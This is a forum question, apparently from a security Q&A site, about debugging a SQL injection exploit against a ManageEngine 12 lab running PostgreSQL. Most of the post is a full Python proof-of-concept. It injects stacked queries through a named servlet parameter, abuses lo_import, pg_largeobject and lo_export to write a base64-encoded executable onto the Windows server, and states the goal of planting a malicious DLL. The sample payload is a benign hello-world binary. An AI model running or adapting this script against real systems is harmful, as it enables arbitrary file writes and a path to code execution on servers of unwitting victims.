Writing Binary File on Disk using ( Large Object ) in Postgresql

by Nabil Abrhim   Last Updated June 01, 2020 14:06 PM

I am currently working on my local Lab (ManageEngine 12) Lab, which has a SQL injection vulnerability, I am using a Postgresql as a databases engine.

The attack process as follow

  1. Create a DLL file that will contain our malicious code
  2. Inject a query that creates a large object from an arbitrary remote file on disk
  3. Inject a query that updates page 0 of the newly created large object with the first 2KB (2048) of our DLL
  4. Inject queries that insert additional pages into the pg_largeobject table to contain the remainder of our DLL
  5. Inject a query that exports our large object (DLL) onto the remote server file system

for debugging purpose, I replaced the dll file with simple exe hello world file. to check if the file transferred correctly,

However, until now I could not find where is the problem, the exe file original size is 4.50 KB (4,608 bytes), and after transferring it becomes 92 bytes (92 bytes) which means there is a problem in somewhere.

I have tried hex encoding also xxd -p hello_world.exe | tr -d '\n' and taking the output encoding and replacing it on udf vaule. Also replacing decode($$%s$$, $$base64$$) in the poc with decode($$%s$$, $$hex$$) .. but did not work also.

NOTE: the $$ is a bypass for the single quote, $$ = '

I tried ALL these steps with my own dll file, and I got the same result, corrupted dll file.

  • Is this an encoding issue ?
  • Do I need to use different approach for the encoding ?
  • Do I need to escape some bad character in the encoding result ?

I spent more then 1 week to find the solution but I could not :)

Hope someone can help me with this

here is my POC

#!/usr/bin/python
import requests, sys, urllib, string, random, time

requests.packages.urllib3.disable_warnings()

# base64 for hello_world.exe 
udf = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAHjHvI8AAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAA/iYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAKsmAABPAAAAAEAAAGwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAGwFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADfJgAAAAAAAEgAAAACAAUAaCAAAMAFAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAcgEAAHAoDwAACgAqIgIoEAAACgAqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAMwBAAAjfgAAOAIAAFACAAAjU3RyaW5ncwAAAACIBAAAHAAAACNVUwCkBAAAEAAAACNHVUlEAAAAtAQAAAwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAIAAAABAAAAEAAAAA4AAAABAAAAAQAAAAAAlwEBAAAAAAAGAAwBFQIGAHkBFQIGAEAA4wEPADUCAAAGAGgAywEGAO8AywEGANAAywEGAGABywEGACwBywEGAEUBywEGAH8AywEGAFQA9gEGADIA9gEGALMAywEGAJoAnQEGAEkCvwEGACAAvwEAAAAAAwAAAAAAAQABAAAAEAC3ARUAQQABAAEAUCAAAAAAkQDGASgAAQBeIAAAAACGGN0BBgACAAAAAQBEAgkA3QEBABEA3QEGABkA3QEKACkA3QEQADEA3QEQADkA3QEQAEEA3QEQAEkA3QEQAFEA3QEQAFkA3QEQAGEA3QEVAGkA3QEQAHEA3QEQAHkA3QEQAIkAKAAaAIEA3QEGAC4ACwAuAC4AEwA3AC4AGwBWAC4AIwBfAC4AKwBmAC4AMwBmAC4AOwBmAC4AQwBfAC4ASwBsAC4AUwBmAC4AWwBmAC4AYwCEAC4AawCuAC4AcwC7AASAAAABAAAAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAAfAAwAAAAAAAAAAAAAMQA8TW9kdWxlPgBtc2NvcmxpYgBIZWxsb1dvcmxkAENvbnNvbGUAV3JpdGVMaW5lAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlADEuZXhlAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAUHJvZ3JhbQBTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAYXJncwBPYmplY3QAABlIAGUAbABsAG8AIABXAG8AcgBsAGQA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"


loid = 1234

def log(msg):
    print msg

def make_request(url, sql):

    log("[*] Executing query: %s" % sql)
    r = requests.get( url % sql, verify=False)
    return r

def delete_lo(url, loid):
    log("[+] Deleting existing LO...")
    sql = "SELECT lo_unlink(%d)" % loid
    make_request(url, sql)

def create_lo(url, loid):
    log("[+] Creating LO for UDF injection...")
    sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
    make_request(url, sql)

def inject_udf(url, loid):
    log("[+] Injecting payload of length %d into LO..." % len(udf))
    for i in range(0,int(round(len(udf)/2048.0))): # Done
        udf_chunk = udf[i*2048:(i+1)*2048]
        if i == 0:
            sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$base64$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
        else:
            sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$base64$$))" % (loid, i, udf_chunk)
        make_request(url, sql)


def export_udf(url, loid):
    log("[+] Exporting the file to filesystem...")
    sql = "select lo_export(%d, $$C:\\Users\\Public\\hello_world.exe$$)" % loid
    make_request(url, sql)


if __name__ == '__main__':
    try:
        server = sys.argv[1].strip()

    except IndexError:

        print "[-] Usage: %s serverIP:port" % sys.argv[0]
        sys.exit()

    sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 

    delete_lo(sqli_url, loid)
    create_lo(sqli_url, loid)
    inject_udf(sqli_url, loid)
    export_udf(sqli_url, loid)


Related Questions


How to log connections to the database?

Updated February 27, 2016 01:02 AM


Algorithm for populating tables

Updated December 31, 2016 08:02 AM

Copying Python data types to Postgres

Updated June 22, 2015 00:02 AM